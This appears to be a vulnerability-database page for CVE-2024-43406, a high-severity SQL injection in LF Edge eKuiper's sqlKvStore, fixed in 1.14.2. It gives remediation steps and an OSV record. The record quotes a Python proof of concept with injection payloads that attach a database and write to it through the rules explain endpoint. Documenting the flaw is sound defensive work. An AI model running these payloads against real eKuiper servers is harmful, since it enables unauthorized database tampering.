Vulnerabilities in pkg:pypi/ekuiper
PACKAGECVE-2024-43406 is a HIGH (CVSS 8.8) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Github.com/lf edge/ekuiper libraries in the Go ecosystem. The issue involves lf edge ekuiper has a sql injection in sqlkvstore. Remediation is available by upgrading affected packages to version 1.14.2.
pkg:pypi/ekuiper
Vulnerability advisories affecting package pkg:pypi/ekuiper. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-r5ph-4jxm-6j9p | CVE-2024-43406 | HIGH | LF Edge eKuiper has a SQL Injection in sqlKvStore |
CVE-2024-43406 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2024-43406
To remediate this vulnerability, upgrade all affected Github.com/lf edge/ekuiper dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lf-edge/ekuiper to 1.14.2
pip install ekuiper>=1.14.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lf-edge/ekuiper
How to Check if You Are Affected
To determine whether your application is affected by CVE-2024-43406, inspect your project dependencies for Github.com/lf edge/ekuiper:
inspect dependencies for github.com/lf-edge/ekuiper
Analyze the terminal output to locate any version of Github.com/lf edge/ekuiper in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.14.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Github.com/lf edge/ekuiper, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-43406 Affected Github.com/lf edge/ekuiper Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lf-edge/ekuiper
|
Go |
< 1.14.2
|
1.14.2
|
|
ekuiper
|
PyPI |
< 1.14.2
|
1.14.2
|
References
Frequently Asked Questions
What is CVE-2024-43406?
Which Github.com/lf edge/ekuiper versions are affected?
What version fixes CVE-2024-43406?
Is github.com/lf-edge/ekuiper affected?
Is ekuiper affected?
What is the CVSS score of CVE-2024-43406?
What CWE is associated with CVE-2024-43406?
How can I check Go dependencies for CVE-2024-43406?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-r5ph-4jxm-6j9p",
"modified" : "2024-08-27T14:27:18Z",
"published" : "2024-08-20T20:04:31Z",
"aliases" : [ "CVE-2024-43406" ],
"summary" : "LF Edge eKuiper has a SQL Injection in sqlKvStore",
"details" : "### Summary\nA user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. \n\n### Details\nI will use explainRuleHandler (\"/rules/{name}/explain\") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.\n\nThe SQL injection can happen in the code:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93\nThe code to accept user input is:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277\n\nThe rule id in the above code can be used to exploit SQL query.\n\nNote that the delete function is also vulnerable:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141\n\n### PoC\n```\nimport requests\nfrom urllib.parse import quote\n\n# SELECT val FROM 'xxx' WHERE key='%s';\npayload = f\"\"\"'; ATTACH DATABASE 'test93' AS test93;\nCREATE TABLE test93.pwn (dataz text);\nINSERT INTO test93.pwn (dataz) VALUES (\"sql injection\");--\"\"\"\n\n#payload = \"deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--\"\n\nurl = f\"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain\" # explainRuleHandler\n\nres = requests.get(url)\nprint(res.content)\n```\n\nThe screenshot shows the malicious SQL query to insert a value:\n\n\nThe screenshot shows the breakpoint of executing the query:\n\n\n\n\n\n### Impact\nSQL Injection vulnerability\n\nThe reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lf-edge/ekuiper"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.14.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "ekuiper"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.14.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-43406"
}, {
"type" : "WEB",
"url" : "https://github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lf-edge/ekuiper"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/ekuiper/PYSEC-2024-72.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-08-20T20:04:31Z",
"nvd_published_at" : "2024-08-20T15:15:24Z"
}
}